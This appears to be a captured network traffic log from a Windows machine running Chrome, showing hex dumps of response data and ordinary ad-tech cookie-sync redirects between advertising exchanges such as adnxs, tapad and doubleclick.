2024-04-11 21:27:01 UTC	1369	IN	Data Raw: d2 25 06 47 c6 f1 6a fa 0a ec cb 8d 43 5b 0d 01 13 53 d2 d3 c1 c1 b4 bf 90 b8 f2 a6 7d 1c 61 18 36 3b 41 8e 56 63 f4 f4 f5 58 8b ab 25 6d 49 a9 00 ba 26 8d d6 bf c1 1b d5 a6 d0 1a 00 1b 86 c0 a3 b8 ae 8f 72 d6 33 5a fa da cc 35 a6 79 3f ac 73 1e e6 70 9f a4 1a 45 d6 8d 1c d9 ca 32 a7 55 b8 a7 6b 38 a4 ad 67 7b 5b 56 de df ad 88 65 87 b3 4e 3a fc ca ca 9a 3a 97 68 e3 be 91 3d f2 b3 03 c5 cc d4 6f 76 db c0 1c 06 cf 46 df b9 76 49 89 5f 33 c3 9f cc a4 50 9c 43 bd f7 e4 10 f0 76 d6 eb 5d 5a dd e4 c3 bb d2 ec 21 b4 91 b6 81 d1 98 8c 0d 16 6e a9 e4 5c 6e c9 f8 1b f0 16 e0 2e a0 61 c3 5a 6e 21 d6 76 fb de f7 bd f7 fa 55 b5 9d d1 93 96 9c 5e b6 d7 67 e4 96 d5 e7 75 7f f2 c8 f9 ac 95 ac f6 25 f7 45 51 8c c7 59 0e 48 c3 2a 1e 1a 1b 8f 62 c6 a6 ab 5d e5 8c 7b 5c 49 Data Ascii: %GjC[S}a6;AVcX%mI&r3Z5y?spE2Uk8g{[VeN::h=ovFvI_3PCv]Z!n\n.aZn!vU^gu%EQYH*b]{\I
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: e2 a7 86 f8 17 62 15 27 c5 7e 96 3e 9f 7e d3 37 62 38 af d2 c7 d3 ef da 66 ec 47 44 e1 7f ba 87 d9 fb 07 38 a9 e1 be 05 d8 85 49 f1 5f a5 8f a7 df b4 cd d8 8e 2b f4 b1 f4 fb f6 99 bb 11 d1 38 5f ee a1 f6 7e c1 ce 2a 78 6f 81 76 21 52 7c 57 e9 63 e9 f7 ed 33 76 23 8a fd 2c 7d 3e fd a6 6e c4 74 4e 17 fb a8 fd 9f b0 73 8a 9e 1b e0 5d 88 54 e6 41 cd d9 b3 2e 67 bf 01 73 85 48 af 74 f1 97 d3 54 df 58 ee 2e 1e 36 c2 41 00 ef da 08 57 1a cf c7 e0 67 84 a8 a1 26 9a 6a e9 ad 8d 3e d2 6a 35 55 45 75 aa c0 84 21 51 25 04 21 08 00 42 10 80 04 21 08 00 42 10 80 2b ed 34 7e 4f 41 f5 8e f7 57 9e a5 de bd 0b a6 8f c9 e8 3e b1 de ea f3 d4 cb db fe 0a fd a6 1e 6f d4 e1 b3 cf d6 3f 24 5d da 11 98 33 25 62 17 f3 c3 ee 35 48 1d 3f 0a d2 d2 54 43 43 73 86 e5 3c 41 84 ec ee b2 Data Ascii: b'~>~7b8fGD8I_+8_~*xov!R\|Wc3v#,}>ntNs]TA.gsHtTX.6AWg&j>j5UEu!Q%!B!B+4~OAW>o?$]3%b5H?TCCs<A
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 76 8b 73 ef 50 fc 91 82 d5 e7 1d 10 e6 da 7a 58 cf 75 4f 88 3a a2 38 c7 c6 73 43 1f aa 3a 2c a6 b9 57 4c 79 5e 83 25 d2 37 11 ad ee 6c 46 82 99 b0 4b 44 e6 38 4a 5e c1 ab 60 2d b6 f6 ed 4f c6 61 9d 29 54 78 4a 6a 53 d3 49 ad 14 ec b4 55 b5 5b 52 6e f7 62 52 a9 a4 a3 ca 4a ca cf b6 dd a7 3e 64 d2 2e 6a c3 74 57 1e 37 35 1f 7a f1 b1 56 da 59 44 b0 ec d8 4d de d6 bb 90 db f7 a7 3a 2c 33 3e d4 c3 04 bc 61 61 bf 84 6b 5d a9 de e8 c9 da 2f 6d ea 23 a4 5c 67 1b cc 7a 17 8f 14 c7 28 d9 4b 3c f8 83 1e c8 d8 d2 db 43 73 aa 48 3c bf f6 4b c2 f8 8e a7 6d 24 ee a8 84 54 c6 18 f2 4b ea 36 3c 5b ec de 96 38 68 c7 0e dc 69 fc da 72 4f 46 0a a6 cb 6a bb d8 97 60 39 b7 34 9c b5 59 6d 76 de 48 73 7e 63 cd 6f d2 46 17 94 70 5c 5e 0c 3d 95 14 5c 33 e6 7d 2b 64 bb c6 b1 26 c7 Data Ascii: vsPzXuO:8sC:,WLy^%7lFKD8J^`-Oa)TxJjSIU[RnbRJ>d.jtW75zVYDM:,3>aak]/m#\gz(K<CsH<Km$TK6<[8hirOFj`94YmvHs~coFp\^=\3}+d&
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: f6 48 e2 ab 23 fd 18 c3 7d 92 23 5f 29 8e a8 aa ab fc c4 1c 71 2f 6e 8f 11 82 7d 36 68 da a4 b4 cf 58 d9 75 45 9b af 44 f7 58 7a 2e d4 a8 34 e3 a3 9a 56 96 d3 d7 98 41 de 23 a3 7b 6f d0 d4 fb c5 56 47 fa 31 86 fb 24 71 55 91 fe 8c 61 be c9 27 2d 94 db 46 d5 2d e7 10 d1 c4 ed bc 78 95 96 09 8c 33 49 1a 72 a4 c7 30 68 26 38 6e 1b 4f aa f9 de dd 5b 80 d7 0b fa 2e 5f b0 7a 15 ee b8 b0 9c 17 0d c0 a9 7b 97 0b a1 a7 a2 82 f7 d4 85 81 a0 9e 73 6d eb b5 52 cc f1 b0 c4 ce 2a 94 6d 08 25 15 7d 6e cb 79 2d 0a 4e 9a 7a 4e ed bb 82 10 85 98 4e 08 42 10 00 84 21 00 08 42 10 00 84 21 00 57 fa 67 fc 9f 83 eb 1d ee af 3d cc 36 15 e8 4d 33 7e 4f c1 f5 8e f7 57 9f 26 1b 0a f6 ff 00 82 bf 69 87 9b f5 67 0b 9e fe b1 f9 22 cc d0 e8 d6 c0 b1 61 cd 3b 4f fc 29 d6 63 69 48 f4 a6 Data Ascii: H#}#_)q/n}6hXuEDXz.4VA#{oVG1$qUa'-F-x3Ir0h&8nO[._z{smR*m%}ny-NzNNB!B!Wg=6M3~OW&ig"a;O)ciH
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: cc 60 eb bb b1 03 4f b1 1f 90 c1 d7 77 62 3a 9b 9a f8 6b ee bd c3 a6 30 bd ee 0c b7 90 aa 2e 3f 22 f3 18 3a ee ec 47 1f b0 f9 8c 3d 77 76 23 a9 b9 af 86 be eb dc 3a 63 09 de e0 cb 75 0a a1 e3 f6 1f 31 87 ae ee c4 71 fb 0f 98 c3 d7 77 62 3a 9b 9a f8 6b ee bd c3 a6 30 bd ee 0c b7 90 aa 1e 3f 61 f3 18 7a ee ec 59 e3 f6 1f 31 87 ae ee c4 75 37 35 f0 f8 af 70 e9 8c 27 7b 83 2d d4 2a 8b 8f d8 7c c6 1e bb bb 11 c7 ec 3e 63 0f 5d dd 88 ea 6e 6b e1 f1 5e e1 d3 18 4e f7 06 5b a8 55 17 1f 90 f9 8c 3d 77 76 23 8f c8 7c c6 1e bb bb 11 d4 dc db c3 e2 bd c3 a6 30 9d ee 0c b7 50 aa 2e 3f 21 f3 18 7a ee ec 47 1f 90 f9 8c 3d 77 76 23 a9 b9 b7 87 c5 7b 87 4c 61 3b dc 19 6e a1 54 7c 7d c5 e6 30 f5 dd d8 81 a7 a8 8f c8 61 eb bb b1 2f 53 33 6f 0f 8a f7 0e 98 c2 77 b8 32 dc 42 Data Ascii: `Owb:k0.?":G=wv#:cu1qwb:k0?azY1u75p'{-*\|>c]nk^N[U=wv#\|0P.?!zG=wv#{La;nT\|}0a/S3ow2B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.17	50123	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	1394	OUT	GET /usersync/redirect?partner=pubmatic&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:00 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.17	50107	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	790	OUT	GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19
2024-04-11 21:27:00 UTC	508	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Length: 193 Connection: close server: Kestrel location: https://usersync.gumgum.com/usersync?b=ttd&i=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19 set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:27:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASABKAIyCwic1cWwm57tPBAFOAFaBmd1bWd1bWAC; expires=Fri, 11 Apr 2025 21:27:00 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:27:00 UTC	193	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 74 74 64 26 69 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 22 3e 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 74 74 64 26 69 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://usersync.gumgum.com/usersync?b=ttd&i=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19">https://usersync.gumgum.com/usersync?b=ttd&i=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.17	50121	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	812	OUT	GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:00 UTC	1574	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA%3D%26piggybackCookie%3D%24UID%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 1cffa074-eadb-4dc1-9bef-30c006298687 Set-Cookie: XANDR_PANID=dWFSpNO-Okpofyg3daQX0m1HjZijP7Pun5MGtiXYUZRtc6ZsS5d4EihuSwKwFpk6I2dR2Own7GsTWVKZYxEYlhCNPMs0ZgwUL9OPfm_eWZ8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:00 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:00 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=203013809340254297; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:00 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.17	50125	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	762	OUT	GET /idsync/ex/receive?partner_id=3371&partner_device_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=
2024-04-11 21:27:00 UTC	1227	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:00 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:27:00 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:27:00 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Mon, 10 Jun 2024 21:27:00 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%252C%252C&gdpr=0&gdpr_consent= Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.17	50109	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	814	OUT	GET /getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; receive-cookie-deprecation=1; uuid2=3393848220146687847
2024-04-11 21:27:00 UTC	1437	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://us-u.openx.net/w/1.0/sd?id=537072399&val=3393848220146687847 AN-X-Request-Uuid: ef1bbadb-8142-4fda-b437-8615d8dd6e34 Set-Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:00 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:00 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3393848220146687847; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:00 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.17	50119	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	695	OUT	GET /cm-notify?pi=gumgum HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	742	IN	HTTP/1.1 302 Found date: Thu, 11 Apr 2024 21:27:00 GMT vary: Accept-Encoding set-cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978;Path=/;Domain=.creativecdn.com;Expires=Fri, 11-Apr-2025 21:27:00 GMT;Max-Age=31536000;Secure;SameSite=None set-cookie: ts=1712870820;Path=/;Domain=.creativecdn.com;Expires=Fri, 11-Apr-2025 21:27:00 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" location: https://creativecdn.com/cm-notify?pi=gumgum&tc=1 cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 11 Apr 2024 21:27:00 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.17	50127	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	783	OUT	GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:27:01 UTC	1057	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENQ6H1ciB1fBhQrozbvvrnY&google_cver=1 Date: Thu, 11 Apr 2024 21:27:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 379 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI; expires=Sat, 11-Apr-2026 21:27:00 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:01 UTC	198	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/Ad
2024-04-11 21:27:01 UTC	181	IN	Data Raw: 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 78 4e 7a 63 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 43 41 45 53 45 4e 51 36 48 31 63 69 42 31 66 42 68 51 72 6f 7a 62 76 76 72 6e 59 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: Server/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENQ6H1ciB1fBhQrozbvvrnY&google_cver=1">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.17	50138	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	1393	OUT	GET /usersync/redirect?partner=indexExchange&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ZhhVo0t3uSsAAHTnAOvF5wAA%26020 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ 